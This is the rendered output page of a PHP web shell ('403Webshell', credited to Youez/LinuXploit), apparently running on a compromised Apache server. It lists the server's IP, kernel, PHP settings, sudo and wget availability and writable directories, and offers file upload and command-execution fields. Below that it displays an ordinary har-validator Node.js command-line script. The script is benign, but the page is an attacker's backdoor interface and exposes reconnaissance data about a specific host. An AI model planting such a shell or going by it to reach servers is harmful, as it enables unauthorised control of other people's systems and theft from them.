403Webshell
Server IP : 157.230.181.24  /  Your IP : 216.73.216.236
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux conductive 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64
User :  ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/vhosts/convo/node_modules/.bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/convo/node_modules/.bin/har-validator
#!/usr/bin/env node

'use strict'

var chalk = require('chalk')
var cmd = require('commander')
var fs = require('fs')
var path = require('path')
var pkg = require('../package.json')
var Promise = require('pinkie-promise')
var validate = require('..')
var ValidationError = require('../lib/error')

cmd
  .version(pkg.version)
  .usage('[options] <files ...>')
  .option('-s, --schema [name]', 'validate schema name (log, request, response, etc ...)')
  .parse(process.argv)

if (!cmd.args.length) {
  cmd.help()
}

cmd.args.map(function (fileName) {
  var file = chalk.yellow.italic(path.basename(fileName))

  new Promise(function (resolve, reject) {
    fs.readFile(fileName, function (err, data) {
      return err === null ? resolve(data) : reject(err)
    })
  })

    .then(JSON.parse)

    .then(cmd.schema ? validate[cmd.schema] : validate)

    .then(function (data) {
      console.log('%s [%s] is valid', chalk.green('✓'), file)
    })

    .catch(function (err) {
      if (err instanceof SyntaxError) {
        return console.error('%s [%s] failed to read JSON: %s', chalk.red('✖'), file, chalk.red(err.message))
      }

      if (err instanceof ValidationError) {
        err.errors.forEach(function (details) {
          console.error('%s [%s] failed validation: (%s: %s) %s', chalk.red('✖'), file, chalk.cyan.italic(details.field), chalk.magenta.italic(details.value), chalk.red(details.message))
        })

        return
      }

      console.error('%s [%s] an unknown error has occured: %s', chalk.red('✖'), file, chalk.red(err.message))
    })
})

Youez - 2016 - github.com/yon3zu
LinuXploit